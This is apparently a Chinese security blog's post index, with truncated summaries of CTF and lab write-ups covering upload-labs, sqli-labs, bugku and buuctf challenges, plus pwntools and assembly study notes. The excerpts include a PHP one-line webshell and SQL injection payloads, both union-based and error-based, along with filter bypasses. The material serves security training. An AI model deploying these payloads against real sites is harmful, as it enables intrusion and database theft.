2019年10月12日
【靶场练习_upload-labs复现】Pass01-020
摘要： Pass-01:前端过滤 提示 需要上传一个webshell我选择的是一句话，根据提示可采用两种方法进行绕过 <?php eval(@$_POST['a']); ?> 绕过方法 1.查看源码，发现允许上传的是".jpg|.png|.gif"这三种类型，所以就考虑到是不是可以先把后缀改成png，然后抓 阅读全文
posted @ 2019-10-12 21:52 东坡肉肉君 阅读(680) 评论(0) 推荐(0) 编辑
bugku | login2(SKCTF) 200
摘要： 在响应包里面发现tips,base64解码后看到提示信息: $sql="SELECT username,password FROM admin WHERE username='".$username."'" if (!empty($row) && $row['password'] md5($pass 阅读全文
posted @ 2019-10-12 01:04 东坡肉肉君 阅读(624) 评论(0) 推荐(0) 编辑
bugku | sql注入2
摘要： http://123.206.87.240:8007/web2/ 全都tm过滤了绝望吗？ 提示 !,!=,=,+,-,^,% uname=admin&passwd=1' and '1 ： 一个一个式，但是要用url编码绕过滤[其实是猜他会去解析，这里我是猜出来的] 重定向以后，根据提示输入ls: 阅读全文
posted @ 2019-10-12 00:47 东坡肉肉君 阅读(245) 评论(0) 推荐(0) 编辑
2019年10月11日
buuctf | [强网杯 2019]随便注
摘要： 1' and '0，1' and '1 ： 单引号闭合 1' order by 3--+ ： 猜字段 1' union select 1,database()# ：开始注入，发现正则过滤 1' and extractvalue(0x0a,concat(0x0a,(database())))# ：数据 阅读全文
posted @ 2019-10-11 21:24 东坡肉肉君 阅读(5507) 评论(1) 推荐(2) 编辑
2019年10月10日
PWN入门的入门——工具安装
摘要： 安装pwntool: 命令行运行： 1 pip install pwntools 1 python 2 import pwn 3 pwn.asm("xor eax,eax") 出现'1\xc0' 说明安装成功 在pycharm中运行出错：_curses.error: must call (at le 阅读全文
posted @ 2019-10-10 22:06 东坡肉肉君 阅读(5019) 评论(1) 推荐(1) 编辑
《有趣的二进制》1.3尝试动态分析
摘要： 阅读全文
posted @ 2019-10-10 00:59 东坡肉肉君 阅读(245) 评论(0) 推荐(0) 编辑
2019年10月9日
【靶场练习_sqli-labs】SQLi-LABS Page-4 (Challenges)
摘要： Less-54: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ Your Password:CL0FY8NWDK ?i 阅读全文
posted @ 2019-10-09 23:52 东坡肉肉君 阅读(291) 评论(0) 推荐(0) 编辑
2019年10月8日
王爽《汇编》第三版检测11.2解析
摘要： 检测点11.2 CF（判断溢出） OF（判断溢出） SF（结果是否为0找到的规律是只要第八位为1就填1） ZF (结果是否为0） PF（1的个数是否为偶数） 分析 sub al,al 0 0 0 1 1 减法，结果为0，zf=1 mov al,10H 0 0 0 1 1 mov指令不改变标志位 ad 阅读全文
posted @ 2019-10-08 20:03 东坡肉肉君 阅读(307) 评论(0) 推荐(0) 编辑
【靶场练习_sqli-labs】SQLi-LABS Page-3 (Stacked Injections)
摘要： Less-39： ?id=1 and 1 ，?id=1 and 1 ： 回显不同，数字型 ?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=databas 阅读全文
posted @ 2019-10-08 00:28 东坡肉肉君 阅读(403) 评论(0) 推荐(0) 编辑
2019年10月6日
【靶场练习_sqli-labs】SQLi-LABS Page-2 (Adv Injections)
摘要： Less-21:括号+单引号绕过+base64cookie编码 总感觉我已经把sql注入做成代码审计了:P 1 <?php 2 //including the Mysql connect parameters. 3 include("../sql-connections/sql-connect.ph 阅读全文
posted @ 2019-10-06 11:51 东坡肉肉君 阅读(524) 评论(0) 推荐(0) 编辑